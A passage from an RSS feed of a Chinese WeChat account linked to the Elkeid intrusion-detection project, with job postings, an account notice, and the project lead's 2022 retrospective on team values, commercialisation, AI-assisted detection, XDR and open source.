PingfangSC-LIGHT, sans-serif;">2、熟练掌握系统各类日志安全分析，有安全监控规则制定、运营和应急响应经历；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">3、熟悉 nids、hids、系统安全评估，云安全方案等任何一方向加分；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">4、熟悉常见脚本语言如 python、shell 等，可利用相关语言编写简易测试脚本或工具；</span></section><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">联系方式</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><span style="font-family: PingfangSC-LIGHT, sans-serif;font-size: 15px;letter-spacing: 1px;color: rgb(43, 43, 43);">hwtu@tr</span><span style="font-family: PingfangSC-LIGHT, sans-serif;font-size: 15px;letter-spacing: 1px;color: rgb(43, 43, 43);">ip.com</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">其他</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">帮好友转，Base 上海，携程，团队稳定，老板靠谱，推荐。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484374">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb9cb6f3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484374%26idx%3D1%26sn%3D9d8ae4401f3ffddcd93e05cc4b3e630c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 25 Aug 2023 09:51:00 +0800</pubDate>
    </item>
    <item>
      <title>本公众号后续不再作为Elkeid官方公众号使用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484369&amp;idx=1&amp;sn=9527203eb00d1fdd1844d4e419867980</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-06-12 12:45</span> <span style="display: inline-block;">上海</span>
</p>

<p></p>
<p>本公众号后续不再作为Elkeid官方公众号使用</p>




<div id="js_top_profile" class="profile_area_hide"><div id="follow_placeholder" aria-hidden="true" class="wx_follow_context wx_follow_primary wx_follow_smart wx_follow_top "><div class="wx_follow_media weui-flex weui-flex_align-center "><div class="wx_follow_hd "><img src="http://mmbiz.qpic.cn/mmbiz_png/jEESHeKDyVxhtbAawicDNOVJB5zLyiaibU8WAjT97QyuTCNoCXIlq0o7fYIMu3Tp1Pw7fZQicTYGHKOib7EmCa4tUVA/300?wx_fmt=png" class="wx_follow_avatar "/></div> <div class="wx_follow_bd weui-flex__item "><div class="wx_follow_info "><div class="wx_follow_nickname ">灾难控制 局</div></div></div></div></div></div> <div class="share_notice js_share_notice_dom  "><!----> </div>   <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <!----> <div role="option" class="rich_media_meta_list "><div class="rich_media_meta_area_primary "><!----> <span id="content_read_num" class="rich_media_meta rich_media_meta_text rich_media_meta_empty_hide "></span> </div> <div class="rich_media_meta_area_extra "><span id="publish_time" class="rich_media_meta rich_media_meta_text "></span>  <span id="js_ip_wording_wrp" class="rich_media_meta rich_media_meta_text " style="display:none;"><span id="js_ip_wording"></span></span></div></div>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7264c5f7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484369%26idx%3D1%26sn%3D9527203eb00d1fdd1844d4e419867980%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jun 2023 12:45:00 +0800</pubDate>
    </item>
    <item>
      <title>招SRE运维开发工程师</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484367&amp;idx=1&amp;sn=7453a8da597597c9a7a4ad7dca1bb14b</link>
      <description>招SRE运维开发工程师</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-01-28 16:41</span> <span style="display: inline-block;">河北</span>
</p>

<p>招SRE运维开发工程师</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5719b4f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVyOaE2SDyv02Xib6Ap4OmPGLhhLLJKWf7pibibjqCtHUQAPwDa6JrC9AYWnrM8QjDHyJsy5TCJ2bUwOQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><!---->    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/jEESHeKDyVyOaE2SDyv02Xib6Ap4OmPGLpgAVqH60icCq4ibD1gycOjdLlnmJYRLn07XddEicEtOmrLGrq0QaoPlmA/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=aaf896ba&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484367%26idx%3D1%26sn%3D7453a8da597597c9a7a4ad7dca1bb14b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 28 Jan 2023 16:41:00 +0800</pubDate>
    </item>
    <item>
      <title>我的2022</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484362&amp;idx=1&amp;sn=3544d0e4d109e95d4b0cdde260714ce5</link>
      <description>Will的2022年总结</description>
      <content:encoded><![CDATA[<p>
原创 <span>EBwill</span> <span>2023-01-22 14:29</span> <span style="display: inline-block;">河北</span>
</p>

<p>Will的2022年总结</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b6a3db76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVxrAicOaUTdUicK8Ha70VJcbgOot3wH8mYgjTFhAC1aGD5zrgHJjQgu23C5icpbhCNibSUquibBooyHIAg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;" data-mpa-powered-by="yiban.io"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">我是 Elkeid 负责人 Will，可能很多人不知道这最早是我和几位老友的私人公众号，只是后来总是用来宣传 Elkeid，并且大家逐渐忙碌也不怎么写文章了，所以各位看到一篇非宣传性质的文章也不用惊讶哈哈。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">如何讨论我的 2022 呢？说起来很是有趣，2022 年对我来说确实是充满挑战和变数的一年，在这一年内我一直在思考和总结，直到过年放假有空找个角落心无旁骛的专门思考这个话题的时候却突然不知道何处下笔了，所以我就想到哪里就写什么吧。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><br/></span></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">1. 关于团队的思考</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">2022 年我经历了很多关于团队的方向、架构或者团队内部的调整，在这个过程中我思考的结论最深刻的应该是：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“决定团队方向、价值、大小决策的实际上就是被很多人所忽视的核心价值观，或者说就是那个从不会写在年度规划里的终极目标，那个可以称之为理想的东西，虽然很多人并不清楚自己的理想是什么。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">在我初入职场的时候面对公司和领导们给我们周会月会苦口婆心的远大目标、宏大方向的时候其实也会感觉非常务虚无法产生共鸣，更不要说上升到公司价值观层面的部分了。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">但是 2022 年我开始意识到，实际上真正影响团队每一个人的正是这个看起来虚无缥缈的东西，他可能是某一个人的个人所决定的，也可能是团队成员逐渐形成的某种共识。可能是坚定的想做伟大产品的目标，也可能是满脑子都是向上管理或者无所谓的躺平的共识。这种东西首先会影响到某些个个人，然后逐渐伴随着这个个人的影响力影响整个团队。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">当我意识到这个问题之后，我发现在“理解一个人；理解一个团队”这件事上确实有质的突破，以前我可能仅仅通过这个人或者团队成员的履历，能力，双商或关键决策等间接判断，但是现在我绕过这些迷雾后发现，当你发现一个人或者一个团队的核心价值观或者是他的理想的时候，理解会上升到更高的层次。这帮助我在 2022 年对团队甚至整个组织的行为或者决策有了理解的更深刻的基础。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">这也就是为什么你会看到团队和团队间的差异如此巨大，这是因为他们核心价值观不同导致的，这个价值观到底是什么，可能团队内只有极少的人甚至没有人能精准描述，但是他就是真实存在的，影响着每一个大小决策和选择，并直接引导着团队的发展方向。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">2. 关于自下而上与自上而下</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">2022 年我见过自上而下管理的团队，也见过很多几乎完全自下而上生长出来的业务，我发现自下而上生长的业务在中后期多少都会遇到很多结构性的问题，这不一定都是团队自身的问题，很多问题可能是来自外部的，因为如果持续在更高维度的资源协调配置、规划中都是缺席的或者缺乏影响力，那么困难很容易想象的到。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">因此我认为：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“在正常的生态中很难存在完全自下而上生长并且成功的业务，最终还是需要获得自上而下的支持。这个是需要提前思考的问题。”</span> </span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">3. 关于商业化的思考</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">2022 年应该是我们团队开始商业化的第一年，伴随着公司战略层面的调整，我们从一个仅负责内部的团队也开始推进商业化工作，实际上我对于国内安全商业化和市场环境一直也不陌生，只是真正进入变成了一个深度参与者后，视角还是不一样的。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">但是关于大家都知道的这些问题也罢情况也好，就不在这里赘述了，我关于国内 CyberSecurity 方向商业化在 2022 年的思考结论中对我影响最大的实际上只有一个：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“我们需要坚信以核心价值为导向的市场环境终将会到来。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">只有在这种希望下，持续保持对产品核心能力以及细节的打磨，才能不断影响这个市场并且逐渐在这个过程中让这个希望成真，这并不是一个先有鸡还是先有蛋的问题，也并不是没有先例的细分领域。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">4. 关于反入侵方向</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">在 2022 年我们在反入侵（入侵检测、入侵响应、威胁猎捕）方向做了很多新的尝试。有一些我个人在 2022 年的结论：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“AI 是可以在自动化策略生成，部分场景下未知威胁发现，告警可解释性增强等方面落地的，并且会有较好的表现。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">在过去 AI+安全确实有一段时间的热度，但是目前看似乎有些下降，大家对于 AI 的看法也似乎逐渐悲观，但是在我们的超大规模环境下做了很多方向的测试和验证，我们发现 AI 仍然是有巨大优势并且是可以落地带来实际价值的。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“非算法前提下提高入侵检测能力的上限的方式除了行为序列检测，应该是想办法尽可能提高对于有限数据的理解或者标签化。”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">抛开底层数据增强采集或者类 XDR 产品讨论以及 AI 等，仅讨论基于规则的策略如何进一步提升，在 20 年 21 年 Elkeid 开始尝试并且持续在行为序列检测（不依赖单一行为检出，依赖单系统内产生的多个行为）上投入，也确实看到了很好的表现，但是在 22 年下半年逐渐进入瓶颈，但是实际上入侵检测这个方向还远远没有看到边界。我个人认为，对于单一行为的可量化的理解是提高检测能力的一个基础关键，比如一个行为是：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">exe：/tmp/abc </span></code><code><span class="code-snippet_outer">argv：/tmp/abc -b </span></code><code><span class="code-snippet_outer">pid_tree：<span class="code-snippet__number">1283555.</span>abc&lt;<span class="code-snippet__number">1282964.</span>aabbcc</span></code></pre></section><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">然后再充一些信息：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">exe：/tmp/abc </span></code><code><span class="code-snippet_outer">argv：/tmp/abc -b </span></code><code><span class="code-snippet_outer">pid_tree：<span class="code-snippet__number">1283555.</span>abc&lt;<span class="code-snippet__number">1282964.</span>aabbcc</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">登陆所属：chenyue.will </span></code><code><span class="code-snippet_outer">二进制属性：运维工具 </span></code><code><span class="code-snippet_outer">外联资产信息：内部，PSM：a.b.v </span></code><code><span class="code-snippet_outer">二进制来源：系统自带，全网占比<span class="code-snippet__number">65</span>%</span></code></pre></section><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">其实就是按：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">谁 对什么 做了什么</span></code></pre></section><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">进行标签化或者某种量化，通过这种理解能力上的提升带来整体策略能力的提升。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">5. 关于 XDR</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">大家可以看我在 2018 年关于类 XDR 产品的思考：<a label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="color:#a6bde7;" data-cke-saved-href="https://mp.weixin.qq.com/s?__biz=MzIwMDI1MTYwMQ==&amp;mid=2651935249&amp;idx=1&amp;sn=99f33c359b5143499dc08fb0ce85a207&amp;scene=21#wechat_redirect" href="https://mp.weixin.qq.com/s?__biz=MzIwMDI1MTYwMQ==&amp;mid=2651935249&amp;idx=1&amp;sn=99f33c359b5143499dc08fb0ce85a207&amp;scene=21#wechat_redirect" data-linktype="2"><a href="https://mp.weixin.qq.com/s/Ge1BAyesVziCIBaELzGhhA" target="_blank">https://mp.weixin.qq.com/s/Ge1BAyesVziCIBaELzGhhA</a></a>，（在最后一节：NIDS 的不足）。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">在 2022 年我主要在思考的问题是：</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;"><span style="background-image: linear-gradient(to right, rgb(166, 189, 231), rgb(127, 164, 230));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: white;border-width: 0.25em 0px;padding: 2px 4px;">“有多少比例的威胁是基于单维度入侵检测产品无法检出的，即必须依赖至少 2 个安全产品的原始数据级别关联才可以进行有效检出？”</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">这个问题的答案实际上会影响到：XDR 类产品在建设的中短期的路线是什么，当然这个问题实际上在不同的公司背景下或者不同团队内都会有不同的答案，这里只是抛出一个我认为很有讨论价值的问题供大家思考。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(99, 141, 213), rgb(133, 165, 222));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">6. 关于开源</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-Regular, sans-serif;">2022 年虽然内外需求越来越饱和，但是我们在开源方向投入并没有减少，到目前为止，Elkeid 内部和商业版本的端上能力与接入层能力与开源版本一致，并且策略引擎 Elkeid HUB 我们也推出了社区版本。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 